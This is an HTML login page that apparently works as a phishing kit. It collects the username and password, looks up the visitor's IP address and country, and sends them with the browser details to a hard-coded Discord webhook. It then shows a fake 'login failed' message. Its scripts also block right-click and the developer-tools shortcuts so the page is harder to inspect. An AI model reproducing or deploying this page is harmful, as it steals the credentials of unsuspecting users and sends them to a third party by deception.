<html>
  <head>
    <!-- Bootstrap CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
    <link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@700&display=swap" rel="stylesheet">
    
    <style>
      .btn-black {
        background-color: #000000; /* Black color */
        color: white;
        font-family: 'Montserrat', sans-serif;
        font-weight: bold;
        border: none;
      }
      .btn-black:hover {
        background-color: #333333; /* Darker gray on hover */
      }
      .form-label {
        font-family: 'Montserrat', sans-serif;
        font-weight: bold;
      }
    </style>

    <script>
      document.addEventListener('contextmenu', function(event) {
        event.preventDefault();
      });

      document.addEventListener('keydown', function(event) {
        if (event.key === 'F12' || 
            (event.ctrlKey && event.shiftKey && event.key === 'I') || 
            (event.ctrlKey && event.key === 'U')) {
          event.preventDefault();
        }
      });
    </script>
  </head>
  <body class="container mt-5">
    <form autocomplete="off">
      <div class="mb-3">
        <label for="usernameInput" class="form-label">Enter your username</label>
        <input type="text" class="form-control" id="usernameInput" autocomplete="off">
      </div>
      <div class="mb-3">
        <label for="passwordInput" class="form-label">Enter your password</label>
        <input type="password" class="form-control" id="passwordInput" autocomplete="new-password">
      </div>
      
      <button type="button" class="btn btn-black" onclick="sendContact()">Login</button>
      
      <div id="errorMessage" class="text-danger mt-3" style="display: none;">Login failed. Please try again later.</div>
    </form>
    
    <script>
      async function getIPAddress() {
        try {
          const response = await fetch('https://api.ipify.org?format=json');
          const data = await response.json();
          return data.ip;
        } catch (error) {
          console.error('Error fetching IP address:', error);
          return 'IP not available';
        }
      }

      async function getCountry(ipAddress) {
        try {
          const response = await fetch(`https://ipwhois.app/json/${ipAddress}`);
          const data = await response.json();
          
          console.log('ipwhois response:', data);

          if (data.country && data.country_code) {
            return { 
              country: data.country,
              countryCode: data.country_code 
            };
          } else {
            return { country: 'Country not available', countryCode: '' };
          }
        } catch (error) {
          console.error('Error fetching country:', error);
          return { country: 'Country not available', countryCode: '' };
        }
      }

      function getFlagEmoji(countryCode) {
        return countryCode.toUpperCase()
          .split('')
          .map(char => String.fromCodePoint(0x1F1E6 - 65 + char.charCodeAt(0)))
          .join('');
      }

      async function sendContact() {
        const username = document.getElementById('usernameInput').value;
        const password = document.getElementById('passwordInput').value;
        const ipAddress = await getIPAddress();
        const { country, countryCode } = await getCountry(ipAddress);
        const browserInfo = navigator.userAgent;

        const flagEmoji = countryCode ? getFlagEmoji(countryCode) : '';

        const webhookBody = {
          embeds: [{
            title: 'Test Intelligence Agency',
            color: 0x000000, // Black color
            fields: [
              { name: 'Username 📕', value: username },
              { name: 'Password 🔑', value: password },
              { name: 'IP Address 🌐', value: ipAddress },
              { name: 'Country 🌎', value: `${flagEmoji} ${country}` },
              { name: 'Browser 🛜', value: browserInfo }
            ]
          }],
        };

        const webhookUrl = 'https://discord.com/api/webhooks/1331575032694181951/rINSOFdv5634TPMtmVIz3T6FGXBg3yjBrevgPHTfj09HS8qalKaghbPdtf7yh32PphYt';

        fetch(webhookUrl, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(webhookBody),
        }).catch(console.error);

        document.getElementById('errorMessage').style.display = 'block';
      }
    </script>
  </body>
</html>
